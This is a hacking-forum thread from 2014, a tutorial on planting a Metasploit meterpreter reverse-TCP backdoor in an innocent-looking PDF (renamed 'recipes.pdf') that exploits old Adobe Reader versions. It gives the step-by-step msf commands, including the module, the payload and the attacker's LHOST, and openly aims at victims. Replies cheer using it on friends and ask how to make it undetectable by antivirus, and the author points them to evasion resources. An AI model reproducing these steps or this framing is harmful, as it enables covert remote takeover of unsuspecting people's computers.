![]() |
|
[TUTORIAL] Embedding a backdoor in a PDF file - Printable Version +- Hack Forums (https://hackforums.net) +-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45) +--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449) +---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4) +----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47) +----- Thread: [TUTORIAL] Embedding a backdoor in a PDF file (/showthread.php?tid=4127426) |
[TUTORIAL] Embedding a backdoor in a PDF file - SIM-2015410 - Mar 21, 2014 Hello Again HF!, Welcome to another Hacking Tutorial by MeshCollider. If you are interested, here are links to my other hacking tutorials:Spoiler (Click to View) The most popular PDF viewer in the world is Adobe Reader. Adobe has had a lot of security flaws in its products, but most users are unaware and continue to use old, unpatched versions. in fact, over 60% of people still have Adobe reader 9 or earlier installed. These are the versions we will exploit. We will be adding a rootkit into an innocent PDF file, which we can then distribute to our victims to "own" them. 1) Run Metasploit Check out my previous tutorials on how to set up and use metasploit 2) Find the Appropriate Exploit We will search metasploits database for an exploit for adobe pdf on windows, using this command: Code msf > search type:exploit platform:windows adobe pdfCode msf > use exploit/windows/fileformat/adobe_pdf_embedded_exe3) Set the Payload We will use the meterpreter payload again, because it is one of the most powerful payloads available to us: Code msf > exploit (adobe_pdf_embedded_exe) > set payload windows/meterpreter/reverse_tcp4) Set the exploit options First, display the required options for the exploit: Code msf > exploit (adobe_pdf_embedded_exe) > show optionsCode msf > exploit (adobe_pdf_embedded_exe) > set INFILENAME example.pdfmsf > exploit (adobe_pdf_embedded_exe) > set FILENAME recipes.pdf Finally, we need to specify the LHOST, which is our (the attackers) IP address. Mine is 192.168.1.8: Code msf > exploit (adobe_pdf_embedded_exe) > set LHOST 192.168.1.85) Run the Exploit! Now that all the options are set, we can run the exploit like this: Code msf > exploit (adobe_pdf_embedded_exe) > exploitThanks for reading, please reply with your thanks if you enjoyed this and/or found it useful. Watch out for future hacking tutorials from me - further wireless cracking, metasploit and other common hacking topics! Written by MeshCollider 🤝 * - U63R - Mar 21, 2014 Well detailed tutorial. I think that this can help a lot of users :) * - SIM-2015410 - Mar 21, 2014 (Mar 21, 2014 04:14 PM)u63r Wrote: Well detailed tutorial. I think that this can help a lot of users :) Thanks man, appreciate the feedback! I certainly hope people find it useful 🤝 * - FearYO - Mar 21, 2014 Great tutorial, going to use this on my friends! * - Spartan. - Mar 21, 2014 Is this undetectable on the victim's computer? * - SIM-2015410 - Mar 21, 2014 (Mar 21, 2014 05:05 PM)FearYO Wrote: Great tutorial, going to use this on my friends! Thanks man! Have fun haha 🙂 (Mar 21, 2014 05:30 PM)Afg-Pure. Wrote: Is this undetectable on the victim's computer? No sorry, the meterpreter is very detectable. But there are ways to make it FUD, so have a browse on Google 🤝 * - Spartan. - Mar 21, 2014 (Mar 21, 2014 06:00 PM)m3shc0llid3r Wrote: Thanks man! Have fun haha 🙂Does it require a crypter or any 3rd party software? Can you just make it FUD by metasploit itself? Thanks just wondering.. * - SIM-2015410 - Mar 21, 2014 (Mar 21, 2014 06:03 PM)Afg-Pure. Wrote: Does it require a crypter or any 3rd party software? Can you just make it FUD by metasploit itself? Thanks just wondering.. Check out this link here for an idea on how to make it UD. But its the same with any virus or trojan: You have to be one step ahead of the antivirus comapnies if you want to make something FUD. Metasploit is just a database of exploits and payloads, I don't think it has any crypting abilities, etc. http://pentestlab.wordpress.com/2012/04/16/creating-an-undetectable-backdoor/ * - Up In The Smoke - Mar 22, 2014 Thanks dude, i really needed this.. bookmarkeeeeeed :) * - veritas007 - Mar 22, 2014 sorry for sounding like a n00b but.....could you explain how this works exactly......i didn't understand the part about "instant control of the person's pc" again sorry for being a n00b * - tftoolz - Apr 27, 2014 Great Tut, well detailed, it will help people here on HF am sure * - Markdavvybullets - Jun 17, 2014 Well detailed im going to try this and others from your other threads...thanks * - Die Jude - Jun 17, 2014 Nice tutorial, written well, was curious how to do it :) * - SIM-2015410 - Jun 17, 2014 (Jun 17, 2014 07:26 AM)Die Jude Wrote: Nice tutorial, written well, was curious how to do it :) Thank you very much for replying guys 🤝 * - xcorex - Jul 8, 2014 detailed tutorial. I think that this can help a lot of users |